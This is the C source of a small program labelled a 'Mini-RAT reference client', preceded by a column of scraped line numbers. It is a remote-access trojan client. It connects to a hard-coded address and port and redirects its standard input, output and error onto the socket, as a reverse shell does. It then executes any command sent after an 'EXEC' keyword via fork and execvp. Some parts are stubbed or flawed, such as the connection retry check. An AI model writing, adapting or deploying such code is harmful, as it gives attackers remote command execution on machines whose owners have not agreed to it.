1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
|
/*
* Mini-RAT reference client
* Copyright (C) 2023 Danny Holman <dholman@gymli.org>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <util.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <poll.h>
#include <unistd.h>
#include <string.h>
int open_connection(const char *addr, int port) {
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(port);
inet_pton(AF_INET, addr, &server.sin_addr);
if (connect(sock, (struct sockaddr*)&server, sizeof(server)) == -1)
return -1;
return sock;
}
void hostinfo(int socket) {
send(socket, "NOT IMPLEMENTED\r\n", 17, 0);
}
void run_exec(int socket, const char **argv) {
pid_t pid = fork();
if (pid == 0) {
execvp(argv[0], argv);
exit(0);
} else if (pid > 0) {
wait(NULL);
} else {
send(socket, "ERROR EXECUTING COMMAND", 23, 0);
}
}
int handle_request(int socket, char *req) {
char **tokens = str_split(req, "\r\n");
if (strcmp(tokens[0], "HOSTINFO") == 0) {
hostinfo(socket);
} else if (strncmp(tokens[0], "EXEC", 4) == 0) {
char **argv = str_split(req, " ");
run_exec(socket, &argv[1]);
} else if (strncmp(tokens[0], "EXIT", 4) == 0) {
return 1;
}
return 0;
}
int main(int argc, char* argv[]) {
int socket = 0;
int retries = 0;
while (retries < 3 && socket == 0) {
socket = open_connection("127.0.0.1", 1122);
if (socket == 0)
perror(argv[0]);
retries++;
}
if (socket == 0)
return -1;
dup2(socket, STDOUT_FILENO);
dup2(socket, STDERR_FILENO);
dup2(socket, STDIN_FILENO);
char buffer[4096];
while (1) {
if (recv(socket, buffer, 4096, 0) <= 0)
break;
if (handle_request(socket, buffer) == 1)
break;
memset(buffer, 0, 4096);
}
return 0;
}
|
